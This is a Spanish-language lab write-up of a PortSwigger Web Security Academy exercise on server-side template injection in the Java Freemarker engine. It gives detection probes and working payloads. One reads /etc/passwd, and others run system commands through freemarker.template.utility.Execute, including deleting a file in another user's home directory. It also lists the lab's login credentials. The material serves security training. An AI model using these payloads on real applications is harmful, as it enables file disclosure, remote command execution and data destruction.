> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/es/web/ssti/ssti-using-java-template-engine-documentation.md).
# SSTI usando la documentación del motor de plantillas de Java
Notas de SSTI usando la documentación del motor de plantillas de Java para laboratorios de PortSwigger Web Security Academy, incluido el flujo de explotación, pruebas de payloads, validación con Burp Suite y contexto de remediación.
### Inyección de plantillas del lado del servidor usando documentación
Este laboratorio presenta una vulnerabilidad **SSTI**. El objetivo es identificar el motor de plantillas utilizado, consultar su documentación para entender cómo ejecutar código arbitrario y luego eliminar el archivo moral. txt en el directorio de Carlos. / Las credenciales proporcionadas son: **content-manager: C0nt3ntM4n4g3r**.
### **Análisis de la plantilla**
En los comentarios, el motor proporciona una expresión:
* Prueba simple :
```java
${7*7}
```
* Un error revela que el motor utilizado es **Freemarker (Java)**.
* Una nueva expresión como `${7*a}` confirma la interpretación de la plantilla.
```java
${7*a}
```
#### **Lectura de archivos**
Para leer el archivo /etc/passwd, se utilizan los métodos accesibles mediante el objeto:
```java
${product.getClass().getProtectionDomain().getCodeSource().getLocation().toURI().resolve('/etc/passwd').toURL().openStream().readAllBytes()?join(" ")}
```
#### **Ejecución de comandos**
Freemarker permite invocar `Ejecutar` utilidad:
```java
${"freemarker.template.utility.Execute"?new()("id")}
```
#### **Archivo objetivo eliminado**
Para eliminar moral.txt del directorio de Carlos:
```java
${"freemarker.template.utility.Execute"?new()("rm /home/carlos/morale.txt") }
```
---
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